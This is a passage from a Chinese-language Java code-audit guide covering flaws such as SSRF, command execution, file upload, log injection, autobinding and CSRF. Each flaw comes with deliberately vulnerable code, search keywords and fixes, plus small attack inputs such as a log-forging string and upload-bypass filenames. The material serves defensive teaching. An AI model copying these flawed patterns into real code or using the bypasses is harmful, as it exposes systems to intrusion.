在這個正確示例中,代碼會在解壓每個條目之前對其文件名進行校驗。如果某個條目校驗不通過,整個解壓過程都將會被終止。實際上也可以忽略跳過這個條目,繼續後面的解壓過程,甚至也可以將這個條目解壓到某個安全位置。除了校驗文件名,while循環中的代碼會檢查從zip存檔文件中解壓出來的每個文件條目的大小。如果一個文件條目太大,此例中是100MB,則會拋出異常。最後,代碼會計算從存檔文件中解壓出來的文件條目總數,如果超過1024個,則會拋出異常。

 

臨時文件刪除

介紹
程序員經常會在全局可寫的目錄中創建臨時文件。例如,POSIX系統下的/tmp與
/var/tmp目錄,Windows系統下的C:\TEMP目錄。這類目錄中的文件可能會被定期清理,
例如,每天晚上或者重啓時。然而,如果文件未被安全地創建或者用完後還是可訪問的,具
備本地文件系統訪問權限的攻擊者便可以利用共享目錄中的文件操作。刪除已經不再需要的
臨時文件有助於對文件名和其他資源(如二級存儲)進行回收利用。每一個程序在正常運行
過程中都有責任確保刪除已使用完畢的臨時文件。
漏洞示例
public class TempFile
{
public static void main(String[] args) throws IOException
{
File f = new File("tempnam.tmp");
if (f.exists())
{
System.out.println("This file already exists");
return;
}
FileOutputStream fop = null;
try
{
fop = new FileOutputStream(f);
String str = "Data";
fop.write(str.getBytes());
}
finally
{
if (fop != null)
{
try
{
fop.close();
}
catch (IOException x)
{
// handle error
}
}
}
}
}
上面的代碼最後並沒有顯示的刪除臨時文件。
審計策略
搜索關鍵字
File
FileOutputStream
修復方案
public class TempFile
{
public static void main(String[] args)
{
Path tempFile = null;
try
{
tempFile = Files.createTempFile("tempnam", ".tmp");
try (BufferedWriter writer = Files.newBufferedWriter(tempFile,
Charset.forName("UTF8"),
StandardOpenOption.DELETE_ON_CLOSE))
{
// write to the file and use it
}
System.out.println("Temporary file write done, file erased");
}
catch (IOException x)
{
// Some other sort of failure, such as permissions.
System.err.println("Error creating temporary file");
}
}
}
這個正確示例創建臨時文件時用到了JDK1.7的NIO2包中的幾個方法。它使用了createTempFile()方法,這個方法會新建一個隨機的文件名(文件名的構造方式由具體的實現所定義,JDK缺少相關的文檔說明)。文件使用try-with-resources構造塊來打開,這種方式將會自動關閉文件,而不管是否有異常發生,並且在打開文件時用到了DELETE_ON_CLOSE選項,使得文件在關閉時會被自動刪除。
public class TempFile
{
public static void main(String[] args) throws IOException
{
File f = File.createTempFile("tempnam", ".tmp");
FileOutputStream fop = null;
try
{
fop = new FileOutputStream(f);
// write to the file and use it
}
finally
{
if (fop != null)
{
try
{
fop.close();
}
catch (IOException x)
{
// handle error
}
if (!f.delete())// delete file when finished
{
// log the error
}}}}}
對於JDK1.7之前的版本,可以在臨時文件使用完畢之後、系統終止之前,顯式地對其進行刪除。

 

 

日誌注入

 

 

介紹
將未經驗證的用戶輸入寫入日誌文件可致使攻擊者僞造日誌條目或將惡意信息內容注入日誌
漏洞示例
下列Web應用程序代碼會嘗試從一個請求對象中讀取整數值。如果數值未被解析爲整數,輸入就會被記錄到日誌中,附帶一條提示相關情況的錯誤信息。
String val=request.getParameter("val");  
try{  
   int value=Integer.parseInt(val);  
}catch(NumberFormatException nfe){  
   log.info("Filed to parse val="+val);  
} 
如果用戶爲"val"提交字符串"twenty-one"(數字21的英文),則日誌會記錄以下條目:
INFO:Failed to parse val=twenty-one


然而,如果攻擊者提交字符串“twenty-one%0a%0aINFO:+User+logged+out%3dbadguy”,則日誌中
就會記錄以下條目:
INFO:Failed to parse val=twenty-one
INFO:User logged out=badguy
顯然,攻擊者可以使用同樣的機制插入任意日誌條目。
審計策略
全局搜索關鍵字
logger.IDSver*uIDSname
log
修復方案
先淨化用戶輸入再記錄。比如 pattern.match(“[A-Za-z0-9_]+”, uIDSname) 只是整改,減小日誌注入攻擊可能性。

 

 

Buffer 對象封裝安全問題

 

 

介紹
java.nio包中的Buffer類,如IntBuffer, CharBuffer,以及ByteBuffer定義了一系列的方法,如wrap()、slice()、duplicate(),這些方法會創建一個新的buffer對象,但是修改這個新buffer對象會導致原始的封裝數據也被修改,反之亦然。例如,wrap()方法將原始類型數組包裝成一個buffer對象並返回。雖然這些方法會創建一個新的buffer對象,但是它後臺封裝的還是之前的給定數組,那麼任何對buffer對象的修改也會導致封裝的數組被修改,反之亦然。將這些buffer對象暴露給不可信代碼,則會使其封裝的數組面臨惡意修改的風險。同樣的,duplicate()方法會以原始buffer封裝的數組來額外創建新的buffer對象,將此額外新建的buffer對象暴露給不可信代碼同樣會面臨原始數據被惡意修改的風險。爲了防止這種問題的發生,新建的buffer應該以只讀視圖或者拷貝的方式返回。
漏洞示例
public class Wrapper
{
private char[] dataArray;
public Wrapper ()
{
dataArray = new char[10];
// Initialize
}
public CharBuffer getBufferCopy()
{
return CharBuffer.wrap(dataArray);
}
}
public class Duplicator
{
CharBuffer cb;
public Duplicator ()
{
cb = CharBuffer.allocate(10);
// Initialize
}
public CharBuffer getBufferCopy()
{
return cb.duplicate();
}
}
這兩個錯誤示例代碼聲明瞭一個char數組,然後將此數組封裝到一個buffer中,最後通過getBufferCopy()方法將此buffer暴露給不可信代碼。
審計策略
全局搜索一下關鍵字
Buffer
IntBuffer
CharBuffer
ByteBuffer
wrap()
slice()
duplicate()
修復方案
public class Wrapper
{
private char[] dataArray;
public Wrapper ()
{
// Initialize
dataArray = new char[10];
}
// return a read-only view
public CharBuffer getBufferCopy()
{
return CharBuffer.wrap(dataArray).asReadOnlyBuffer();
}
}
public class Duplicator
{
CharBuffer cb;
public Duplicator ()
{
// Initialize
cb = CharBuffer.allocate(10);
}
// return a read-only view
public CharBuffer getBufferCopy()
{
return cb.asReadOnlyBuffer();
}
}
這個正確示例以只讀CharBuffer的方式返回char數組的一個只讀視圖。

 

 

堆檢查(String 對象問題)

 

 

介紹
將敏感數據存儲在String對象中使系統無法從內存中可靠地清除數據
漏洞示例
如果在使用敏感數據(例如密碼、社會保障碼、信用卡號等)後不清除內存,則存儲在內存中的
這些數據可能會泄露。通常而言,String被大部分開發者常用作存儲敏感數據,然而,由於String
對象不可改變,因此用戶只能使用JVM垃圾收集器來從內存中清除String的值。除非JVM內存不足,
否則系統不要求運行垃圾收集器,因此垃圾收集器何時運行並無保證。如果發生應用程序崩潰,則應用程序的內存轉儲操作可能會導致敏感數據泄露。
private JPasswordFiled pf;  
...  
final char[] password=pf.getPassword();  
...  
String passwordAsString = new String(password);  
...  
由於passwordAsString爲String對象,其內容未被改變,如果垃圾回收機制沒有及時將passwordAsString對象清除,則有可能發生數據泄露。
審計策略
定義好敏感數據以後全局搜索敏感數據所使用的數據類型。凡是定義爲String 對象類型的都應該檢查上下文信息。
修復方案
請始終確保不再需要使用敏感數據時將其清除。可使用能夠通過程序清除的字節數組或字符數組來存儲敏感數據,而不是將其存儲在類似String的不可改變的對象中。
下列代碼可以在使用密碼之後清除內存。
private JPasswordFiled pf;  
...  
final char[] password=pf.getPassword();  
//使用密碼  
...  
//密碼使用完畢  
Arrays.fill(password,'');  
...  
使用Arrays.fill()方法將password字符數組清除,從而保證敏感數據的安全。

 

字符串格式化

 

介紹
由於對用戶的輸入沒有嚴格的控制,導致一些惡意字符被格式化產生非預期的目的。
漏洞示例
舉例來說 System.out.printf(“%s”+args[0]) 安全可行,但是直System.out.printf(args[0]) 危險,用戶可以在輸入中用特殊字符串比如 %l$tm 誘騙系統打印出敏感信息。
class Format
{
static Calendar c = new GregorianCalendar(1995, GregorianCalendar.MAY, 23);
public static void main(String[] args)
{
// args[0] is the credit card expiration date
// args[0] may contain either %1$tm, %1$te or %1$tY as malicious arguments
// First argument prints 05 (May), second prints 23 (day)
// and third prints 1995 (year)
// Perform comparison with c, if it doesn't match print the following line
System.out.printf(args[0]
+ " did not match! HINT: It was issued on %1$terd of some month",
c);
}
}
這個錯誤示例展示了一個信息泄露的問題。它將信用卡的失效日期作爲輸入參數並將其用在
格式字符串中。如果沒有經過正確的輸入校驗,攻擊者可以通過提供一段包含%1$tm、%1$te
和%1$tY之一的輸入,來識別出程序中用來和輸入做對比驗證的日期。
審計策略
全文搜索以下關鍵字
Printf
Format
修復方案
不要直接將用戶的輸入格式化或者對於用戶的輸入數據做過濾或者採用正確的格式化方法即可。
class Format
{
static Calendar c = new GregorianCalendar(1995, GregorianCalendar.MAY, 23);
public static void main(String[] args)
{
// args[0] is the credit card expiration date
// Perform comparison with c,
// if it doesn't match print the following line
System.out.printf("%s did not match! "
+ " HINT: It was issued on %2$terd of some month", args[0], c);
}
}
該正確示例將用戶輸入排除在格式化字符串之外。

 

SSRF

介紹
SSRF形成的原因大都是由於代碼中提供了從其他服務器應用獲取數據的功能但沒有對目標地址做過濾與限制。比如從指定URL鏈接獲取圖片、下載等。
漏洞示例
此處以HttpURLConnection爲例,示例代碼片段如下:
String url = request.getParameter("picurl");
StringBuffer response = new StringBuffer();


   	URL pic = new URL(url);
   	HttpURLConnection con = (HttpURLConnection) pic.openConnection();
con.setRequestMethod("GET");
con.setRequestProperty("User-Agent", "Mozilla/5.0");
BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null) {
     response.append(inputLine);
   	}
in.close();
modelMap.put("resp",response.toString());
return "getimg.htm";
審計策略
1、應用從用戶指定的url獲取圖片。然後把它用一個隨即文件名保存在硬盤上,並展示給用戶;
2、應用獲取用戶制定url的數據(文件或者html)。這個函數會使用socket跟服務器建立tcp連接,傳輸原始數據;
3、應用根據用戶提供的URL,抓取用戶的web站點,並且自動生成移動wap站;
4、應用提供測速功能,能夠根據用戶提供的URL,訪問目標站點,以獲取其在對應經緯度的訪問速度;
程序中發起HTTP請求操作一般在獲取遠程圖片、頁面分享收藏等業務場景,在代碼審計時可重點關注一些HTTP請求操作函數,如下:
HttpClient.execute
HttpClient.executeMethod
HttpURLConnection.connect
HttpURLConnection.getInputStream
URL.openStream
HttpServletRequest
getParameter
URI
URL
HttpClient
Request (對HttpClient封裝後的類)
HttpURLConnection
URLConnection
okhttp
...
修復方案:
使用白名單校驗HTTP請求url地址
避免將請求響應及錯誤信息返回給用戶
禁用不需要的協議及限制請求端口,僅僅允許http和https請求等

 

文件上傳漏洞

 

介紹
文件上傳過程中,通常因爲未校驗上傳文件後綴類型,導致用戶可上傳jsp等一些webshell文件。代碼審計時可重點關注對上傳文件類型是否有足夠安全的校驗,以及是否限制文件大小等。
漏洞示例
此處以MultipartFile爲例,示例代碼片段如下:
public String handleFileUpload(MultipartFile file){
        String fileName = file.getOriginalFilename();
        if (fileName==null) {
            return "file is error";
        }
        String filePath = "/static/images/uploads/"+fileName;
        if (!file.isEmpty()) {
            try {
                byte[] bytes = file.getBytes();
                BufferedOutputStream stream =
                        new BufferedOutputStream(new FileOutputStream(new File(filePath)));
                stream.write(bytes);
                stream.close();
                return "OK";
            } catch (Exception e) {
                return e.getMessage();
            }
        } else {
            return "You failed to upload " + file.getOriginalFilename() + " because the file was empty.";
        }
    }
審計策略
1:白名單或者黑名單校驗後綴(白名單優先)
2:上傳的文件是否校驗限制了文件的大小(文件太大會造成dos)
3:是否校驗文件上傳的後綴。關鍵函數如下
IndexOf(“.”) 從前往後取第一個點 被繞過可能 1.jpg.jsp
修復方案:IndexOf()替換成lastIndexOf()
4:文件後綴對比
string.equals(fileSuffix)次函數不區分大小寫。可通過string.Jsp這種方式繞過。修復方案在比較之前之前使用 fileSuffix.toLowerCase() 將前端取得的後綴名變換成小寫或者改成s.equalsIgnoreCase(fileSuffix) 即忽略大小
5:是否通過文件類型來校驗
String contentType = file.getContentType();
這種方式可以前端修改文件類型繞過上傳
6、java程序中涉及到文件上傳的函數,比如:
MultipartFile
7、模糊搜索相關文件上傳類或者函數比如
File
FileUpload
FileUtils
UploadHandleServlet
FileLoadServlet
getInputStream
FileOutputStream
DiskFileItemFactory
MultipartRequestEntity
修復方案
使用白名單校驗上傳文件類型、大小限制、強制重命名文件的後綴名等。

 

自動變量綁定(Autobinding)

 

介紹
Autobinding-自動綁定漏洞,根據不同語言/框架,該漏洞有幾個不同的叫法,如下:
Mass Assignment: Ruby on Rails, NodeJS
Autobinding: Spring MVC, ASP.NET MVC
Object injection: PHP(對象注入、反序列化漏洞)
軟件框架有時允許開發人員自動將HTTP請求參數綁定到程序代碼變量或對象中,從而使開發人員更容易地使用該框架。這裏攻擊者就可以利用這種方法通過構造http請求,將請求參數綁定到對象上,當代碼邏輯使用該對象參數時就可能產生一些不可預料的結果。
漏洞示例
示例代碼以ZeroNights-HackQuest-2016的demo爲例,把示例中的justiceleague程序運行起來,可以看到這個應用菜單欄有about,reg,Sign up,Forgot password這4個頁面組成。我們關注的點是密碼找回功能,即怎麼樣繞過安全問題驗證並找回密碼。
1)首先看reset方法,把不影響代碼邏輯的刪掉。這樣更簡潔易懂:
@Controller
@SessionAttributes("user")
public class ResetPasswordController {


private UserService userService;
...
@RequestMapping(value = "/reset", method = RequestMethod.POST)
public String resetHandler(@RequestParam String username, Model model) {
User user = userService.findByName(username);
if (user == null) {
return "reset";
}
model.addAttribute("user", user);
return "redirect: resetQuestion";
}
這裏從參數獲取username並檢查有沒有這個用戶,如果有則把這個user對象放到Model中。因爲這個Controller使用了@SessionAttributes("user"),所以同時也會自動把user對象放到session中。然後跳轉到resetQuestion密碼找回安全問題校驗頁面。
2)resetQuestion密碼找回安全問題校驗頁面有resetViewQuestionHandler這個方法展現
@RequestMapping(value = "/resetQuestion", method = RequestMethod.GET)
public String resetViewQuestionHandler(@ModelAttribute User user) {
logger.info("Welcome resetQuestion ! " + user);
return "resetQuestion";
}
這裏使用了@ModelAttribute User user,實際上這裏是從session中獲取user對象。但存在問題是如果在請求中添加user對象的成員變量時則會更改user對象對應成員的值。 所以當我們給resetQuestionHandler發送GET請求的時候可以添加“answer=hehe”參數,這樣就可以給session中的對象賦值,將原本密碼找回的安全問題答案修改成“hehe”。這樣在最後一步校驗安全問題時即可驗證成功並找回密碼

審計策略
這種漏洞一般在比較多步驟的流程中出現,比如轉賬、找密等場景,也可重點留意幾個註解如下:
@SessionAttributes
@ModelAttribute
這種漏洞一般通過黑盒的方式更容易測試得到
...
更多信息可參考http://bobao.360.cn/learning/detail/3991.html
修復方案
Spring MVC中可以使用@InitBinder註解,通過WebDataBinder的方法setAllowedFields、setDisallowedFields設置允許或不允許綁定的參數。

 

URL重定向

 

介紹
由於Web站點有時需要根據不同的邏輯將用戶引向到不同的頁面,如典型的登錄接口就經常需要在認證成功之後將用戶引導到登錄之前的頁面,整個過程中如果實現不好就可能導致URL重定向問題,攻擊者構造惡意跳轉的鏈接,可以向用戶發起釣魚攻擊。
漏洞示例
此處以Servlet的redirect 方式爲例,示例代碼片段如下:
String site = request.getParameter("url");
if(!site.isEmpty()){
response.sendRedirect(site);
}
審計策略
java程序中URL重定向的方法均可留意是否對跳轉地址進行校驗全局搜索如下關鍵字:
sendRedirect
setHeader
forward
redirect
...
修復方案
使用白名單校驗重定向的url地址
給用戶展示安全風險提示,並由用戶再次確認是否跳轉

 

CSRF

 

備註:隨便看看就行,這種漏洞一般不需要通過代碼審計來發掘直接黑盒最方便
介紹
跨站請求僞造(Cross-Site Request Forgery,CSRF)是一種使已登錄用戶在不知情的情況下執行某種動作的攻擊。因爲攻擊者看不到僞造請求的響應結果,所以CSRF攻擊主要用來執行動作,而非竊取用戶數據。當受害者是一個普通用戶時,CSRF可以實現在其不知情的情況下轉移用戶資金、發送郵件等操作;但是如果受害者是一個具有管理員權限的用戶時CSRF則可能威脅到整個Web系統的安全。
漏洞示例
由於開發人員對CSRF的瞭解不足,錯把“經過認證的瀏覽器發起的請求”當成“經過認證的用戶發起的請求”,當已認證的用戶點擊攻擊者構造的惡意鏈接後就“被”執行了相應的操作。例如,一個博客刪除文章是通過如下方式實現的:
GET http://blog.com/article/delete.jsp?id=102
當攻擊者誘導用戶點擊下面的鏈接時,如果該用戶登錄博客網站的憑證尚未過期,那麼他便在不知情的情況下刪除了id爲102的文章,簡單的身份驗證只能保證請求發自某個用戶的瀏覽器,卻不能保證請求本身是用戶自願發出的。
審計策略
此類漏洞一般都會在框架中解決修復,所以在審計csrf漏洞時。首先要熟悉框架對CSRF的防護方案,一般審計時可查看增刪改請求重是否有token、formtoken等關鍵字以及是否有對請求的Referer有進行校驗。手動測試時,如果有token等關鍵則替換token值爲自定義值並重放請求,如果沒有則替換請求Referer頭爲自定義鏈接或置空。重放請求看是否可以成功返回數據從而判斷是否存在CSRF漏洞。
修復方案
Referer校驗,對HTTP請求的Referer校驗,如果請求Referer的地址不在允許的列表中,則攔截請求。
Token校驗,服務端生成隨機token,並保存在本次會話cookie中,用戶發起請求時附帶token參數,服務端對該隨機數進行校驗。如果不正確則認爲該請求爲僞造請求拒絕該請求。
Formtoken校驗,Formtoken校驗本身也是Token校驗,只是在本次表單請求有效。
對於高安全性操作則可使用驗證碼、短信、密碼等二次校驗措施
增刪改請求使用POST請求

 

命令執行

 

介紹
由於業務需求,程序有可能要執行系統命令的功能,但如果執行的命令用戶可控,業務上有沒有做好限制,就可能出現命令執行漏洞。
漏洞示例
此處以getRuntime爲例,示例代碼片段如下:
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
審計策略
這種漏洞原理上很簡單,重點是找到執行系統命令的函數,看命令是否可控。在一些特殊的業務場景是能判斷出是否存在此類功能,這裏舉個典型的實例場景,有的程序功能需求提供網頁截圖功能,筆者見過多數是使用phantomjs實現,那勢必是需要調用系統命令執行phantomjs並傳參實現截圖。而參數大多數情況下應該是當前url或其中獲取相關參數,此時很有可能存在命令執行漏洞,還有一些其它比較特別的場景可自行腦洞。
java程序中執行系統命令的函數如下:
Runtime.exec
Process
ProcessBuilder.start
GroovyShell.evaluate
...
修復方案
避免命令用戶可控
如需用戶輸入參數,則對用戶輸入做嚴格校驗,如&&、|、;等

 

越權漏洞

 

介紹
越權漏洞可以分爲水平、垂直越權兩種,程序在處理用戶請求時未對用戶的權限進行校驗,使的用戶可訪問、操作其他相同角色用戶的數據,這種情況是水平越權;如果低權限用戶可訪問、操作高權限用戶則的數據,這種情況爲垂直越權。
漏洞示例
    @RequestMapping(value="/getUserInfo",method = RequestMethod.GET)
    public String getUserInfo(Model model, HttpServletRequest request) throws IOException {
        String userid = request.getParameter("userid");
        if(!userid.isEmpty()){
            String info=userModel.getuserInfoByid(userid);
            return info;
        }
        return "";
    }
審計策略
水平、垂直越權不需關注特定函數,只要在處理用戶操作請求時查看是否有對當前登陸用戶權限做校驗從而確定是否存在漏洞
修復方案
獲取當前登陸用戶並校驗該用戶是否具有當前操作權限,並校驗請求操作數據是否屬於當前登陸用戶,當前登陸用戶標識不能從用戶可控的請求參數中獲取。

 

權限組合

 

介紹
有些許可和目標的組合會導致權限過大,而這些權限本不應該被賦予。另外有些權限
必須只賦予給特定的代碼。
1. 不要將AllPermission許可賦予給不信任的代碼。
2. ReflectPermission許可與suppressAccessChecks目標組合會抑制所有Java語言標準中的訪問檢查了,這個訪問檢查在一個類試圖訪問其他類的包私有,包保護,和私有成員的進行。因此,被授權的類能夠訪問任意其他類中任意的字段和方法。因此,不要將ReflectPermission許可和suppressAccessChecks目標組合使用。
3. 如果將java.lang.RuntimePermission許可與createClassLoader目標組合,將賦予代碼創建ClassLoader對象的權限。這將是非常危險的,因爲惡意代碼可以創建其自己特有的類加載器並通過類加載來爲類分配任意許可。
漏洞示例
// Grant the klib library AllPermission
grant codebase "file:${klib.home}/j2se/home/klib.jar"
{
permission java.security.AllPermission;
};
在該錯誤代碼示例中,爲klib庫賦予了AllPermission許可。這個許可是在安全管理器使用的安全策略文件中指定的。
審計策略
全局搜索以下關鍵字
AllPermission
ReflectPermission
suppressAccessChecks
java.lang.RuntimePermission
createClassLoader
修復方案
grant codebase "file:${klib.home}/j2se/home/klib.jar", signedBy "Admin"
{
permission java.io.FilePermission "/tmp/*", "read";
permission java.io.SocketPermission "*", "connect";
};
此正確示例展示了一個可用來進行細粒度授權的策略文件。
有可能需要爲受信任的庫代碼授予AllPermission來使得回調方法按預期運行。例如,對
可選的Java包(拓展庫)賦予AllPermission權限是常見並可以接受的做法:
// Standard extensions extend the core platform and are granted all permissions
by default
grant codeBase "file:${{java.ext.dirs}}/*"
{
permission java.security.AllPermission;
};

 

字節碼驗證

 

介紹
Java字節碼驗證器是JVM的一個內部組件,負責檢測不合規的Java字節碼。包括確保class文件的格式正確性、沒有出現非法的類型轉換、不會出現調用棧下溢,以及確保每個方法最終都會將其往調用棧中推入的東西刪除。用戶通常覺得從可信的源獲取的Java class文件是合規的,所以執行起來也是安全的,誤以爲字節碼驗證對於這些類來說是多餘的。結果,用戶可能會禁用字節碼驗證,破壞Java的安全性以及安全保障。字節碼驗證器一定不能被禁用。
漏洞示例
java -Xverify:none ApplicationName
字節碼驗證程序默認會被JVM所執行。JVM命令行參數-Xverify:none會讓JVM抑制字節碼驗證過程。在這個錯誤代碼示例中,就使用了這個參數來禁用字節碼驗證。
審計策略
檢查環境,確保字節碼驗證是開啓的或者全局搜索-Xverify查看。
安全修復
java ApplicationName
字節碼驗證默認就是啓用的。
顯式啓用驗證
java -Xverify:all ApplicationName
在命令行中配置-Xverify:all參數要求JVM啓用字節碼驗證(儘管可能之前是被禁用的)。

 

遠程監控部署的應用

介紹
Java提供了多種API讓外部程序來監控運行中的Java程序。這些API也允許不同主機上的程序遠程監控Java程序。這樣的特徵方便對程序進行調試或者對其性能進行調優。但是,如果一個Java程序被部署在生產環境中同時允許遠程監控,攻擊者很容易連接到JVM來監視這個Java程序的行爲和數據,包括所有潛在的敏感信息。攻擊者也可以對程序的行爲進行控制。 因此,當Java程序運行在生產環境中時,必須禁用遠程監控。
漏洞示例
${JDK_PATH}/bin/java -agentlib:libname=options ApplicationName
在該錯誤示例中,JVM Tool Interface(JVMTI)通過代理來與運行中的JVM通信。這些代理通常是在JVM啓動的時候通過Java命令行參數 - agentlib或者-agentpath來加載的 , 從而允許JVMTI對應用程序進行監控。
${JDK_PATH}/bin/java -Dcom.sun.management.jmxremote.port=8000 ApplicationName
在以上錯誤示例中,用命令行參數使得JVM被允許在8000端口上進行遠程監控。如果密碼強度很弱或者誤用SSL協議,可能會導致安全漏洞。
審計策略
環境檢查,啓動部署檢查。
安全修復
${JDK_PATH}/bin/java -Djava.security.manager ApplicationName
上面的命令行啓動JVM時,未啓用任何代理。避免在生產設備上使用-agentlib, -Xrunjdwp,和-Xdebug命令行參數,並且安裝了默認的安全管理器。
對於一個Java程序,如果能保證本地信任邊界外沒有任何程序可以訪問該程序,那麼這個程序可通過任意一種技術被遠程監控。例如,如果這個程序安裝在一個本地網絡上,該本地網絡是完全可信的而且與所有不可信的網絡不連通,包括Internet,那麼遠程監控是被允許的。

 

 

代碼安全

 

 

介紹
1、	將所有安全敏感代碼都放在一個 jar 包中
若所有安全敏感代碼(例如進行權限控制或者用戶名密碼校驗的代碼)沒有放到同一個受信任的JAR包中,攻擊者可以先加載惡意代碼(使用相同的類名),然後操縱受信任的敏感代碼執行惡意代碼,導致受信任代碼的執行邏輯被劫持。
2、	生產代碼不能包含任何調試入口點
一種常見的做法就是由於調試或者測試目的在代碼中添加特定的後門代碼,這些代碼並沒有打算與應用一起交付或者部署。當這類的調試代碼不小心被留在了應用中,這個應用對某些無意的交互就是開放的。這些後門入口點可以導致安全風險,因爲在設計和測試的時候並沒有考慮到而且處於應用預期的運行情況之外。被忘記的調試代碼最常見的例子比如一個web應用中出現的main()方法。雖然這在產品生產的過程中也是可以接受的,但是在生產環境下,J2EE應用中的類是不應該定義有main()的。
漏洞示例
示例一 敏感代碼放在同一個jar中
package trusted;
import untrusted.RetValue;
public class MixMatch
{
private void privilegedMethod() throws IOException
{
try
{
final FileInputStream fis =
AccessController.doPrivileged(new
PrivilegedExceptionAction<FileInputStream>()
{
public FileInputStream run() throws FileNotFoundException
{
return new FileInputStream("file.txt");
}
});
try
{
RetValue rt = new RetValue();
if (rt.getValue() == 1)
{
// do something with sensitive file
}
}
finally
{
fis.close();
}
}
catch (PrivilegedActionException e)
{
// forward to handler and log
}
}
public static void main(String[] args) throws IOException
{
MixMatch mm = new MixMatch();
mm.privilegedMethod();
}
}
// In another JAR file:
package untrusted;
class RetValue
{
public int getValue()
{
return 1;
}
}
攻擊者可以提供RetValue類的實現,使特權代碼使用不正確的返回值。儘管MixMatch類
包含的都是信任的簽名的代碼,攻擊者仍然可以惡意部署一個經過有效簽名JAR文件,這個
JAR文件包含不受信任的RetValue類,來進行攻擊。
審計策略
通讀敏感區的代碼來判斷。
安全修復
package trusted;
public class MixMatch
{
// ...
}
// In the same signed & sealed JAR file:
package trusted;
class RetValue
{
int getValue()
{
return 1;
}
}
該正確代碼示例將所有安全敏感代碼放在一個包和JAR文件中。同時也將getValue()方法的訪問性降低到包可訪問。需要對包進行密封以防止攻擊者插入惡意類。按以下方式,在JAR文件中的manifest文件頭部中加入sealed屬性來對包進行密封:
Name: trusted  // package name
Sealed: true  // sealed attribute
示例二 生產環境代碼不能有任何調試點
public class Stuff
{
// other fields and methods
public static void main(String args[])
{
Stuff stuff = new Stuff();
// Test stuff
}
}
在這個錯誤代碼示例中,Stuff類使用了一個main()函數來測試其方法。儘管對於調試是很有用的,如果這個函數被留在了生產代碼中(例如,一個Web應用),那麼攻擊者就可能直接調用Stuff.main()來訪問Stuff類的測試方法。
審計策略
通讀代碼或者在j2ee代碼中搜索main方法
修復方案
正確的代碼示例中將main()方法從Stuff類中移除,這樣攻擊者就不能利用這個入口點了。

 

 

硬編碼問題

 

 

介紹
如果將敏感信息(包括口令和加密密鑰)硬編碼在程序中,可能會將敏感信息暴露給攻擊者。任何能夠訪問到class文件的人都可以反編譯class文件並發現這些敏感信息。因此,不能將信息硬編碼在程序中。同時,硬編碼敏感信息會增加代碼管理和維護的難度。例如,在一個已經部署的程序中修改一個硬編碼的口令需要發佈一個補丁才能實現。
漏洞示例
public class IPaddress
{
private String ipAddress = "172.16.254.1";
public static void main(String[] args)
{
//...
}
}
惡意用戶可以使用javap -c IPaddress命令來反編譯class來發現其中硬編碼的服務器IP地址。反編譯器的輸出信息透露了服務器的明文IP地址:172.16.254.1。
審計策略
通讀代碼查看是否有硬編碼敏感文件。
安全修復
public class IPaddress
{
public static void main(String[] args) throws IOException
{
char[] ipAddress = new char[100];
BufferedReader br = new BufferedReader(new InputStreamReader(
new FileInputStream("serveripaddress.txt")));
// Reads the server IP address into the char array,
// returns the number of bytes read
int n = br.read(ipAddress);
// Validate server IP address
// Manually clear out the server IP address
// immediately after use
for (int i = n - 1; i >= 0; i--)
{
ipAddress[i] = 0;
}
br.close();
}
}
這個正確代碼示例從一個安全目錄下的外部文件獲取服務器IP地址。並在其使用完後立即從內存中將其清除可以防止後續的信息泄露。



批量請求
介紹
業務中經常會有使用到發送短信校驗碼、短信通知、郵件通知等一些功能,這類請求如果不做任何限制,惡意攻擊者可能進行批量惡意請求轟炸,大量短信、郵件等通知對正常用戶造成困擾,同時也是對公司的資源造成損耗。
除了短信、郵件轟炸等,還有一種情況也需要注意,程序中可能存在很多接口,用來查詢賬號是否存在、賬號名與手機或郵箱、姓名等的匹配關係,這類請求如不做限制也會被惡意用戶批量利用,從而獲取用戶數據關係相關數據。對這類請求在代碼審計時可關注是否有對請求做鑑權、和限制即可大致判斷是否存在風險。
漏洞示例
    @RequestMapping(value="/ifUserExit",method = RequestMethod.GET)
    public String ifUserExit(Model model, HttpServletRequest request) throws IOException {
        String phone = request.getParameter("phone");
        if(! phone.isEmpty()){
            boolean ifex=userModel.ifuserExitByPhone(phone);
            if (!ifex)
                return "用戶不存在";
        }
        return "用戶已被註冊";
}
審計策略
對於和前端的任何交互請求不要信任,多思考一步。全局搜索如下關鍵字
getParameter
HttpServletRequest
RequestMethod
修復方案
對同一個用戶發起這類請求的頻率、每小時及每天發送量在服務端做限制,不可在前端實現限制。

 

代碼執行

 

介紹
在java裏面並不存在eval這樣的函數來直接執行代碼,但是可以通過動態編譯的方式來執行。jdk提供一個動態編譯的類。
JavaCompiler javac;
javac = ToolProvider.getSystemJavaCompiler();
int compilationResult = javac.run(null,null,null, "-g","-verbose",javaFile);
這樣就可以動態進行編譯。前兩個參數是輸入參數、輸出參數,我覺得沒有什麼用,第三個參數是編譯輸出信息,默認輸出到System.out.err裏面。從第四個參數開始,就是javac的參數,可以用數組,也可以直接逗號分割。
審計策略
這種代碼一般在特殊的場景下才會產生。一般的業務邏輯中很少遇見。全局搜索一下關鍵字,然後結合上下文可以進行判斷。
URLClassLoader
ToolProvider.getSystemJavaCompiler()
getSystemClassLoader
JavaFileObject
修復方案
根據上下環境,仔細查看所要執行的代碼是不是有可控制的輸入點。如果有需要使用類似標識位的方式替代。比如1代表固定需要執行的代碼,2代表另一端固定需要執行的代碼。絕對禁止從外部直接輸入所要執行的代碼。
基礎數據問題
介紹
主要是數組的比較和數據類型的比較或者其它的一些基礎數據運算的審計。
漏洞示例
示例一 數組比較
通過下面的運行結果可以看到Arrays.equals()這種是比較的兩個數組元素的值,而arr1.equals(arr2)這種是比較的兩個數組元素的首地址。這種比較有可能造成邏輯上的錯誤。
 
審計策略
全局搜索以下關鍵字
equals()
漏洞修復
使用 Arrays.equals() 替代 arr1.equals(arr2)。
示例二 不要用 == 或者!= 比較封裝數據類型的值
通過下面的結果可以看到 == 這種是對值的直接比較所以不適用於引用類型的比較。
 
審計策略
在一些關鍵的業務代碼處做審計,這種屬於低級錯誤一般不建議審計。
修復方案
見示例
安全管理器
介紹
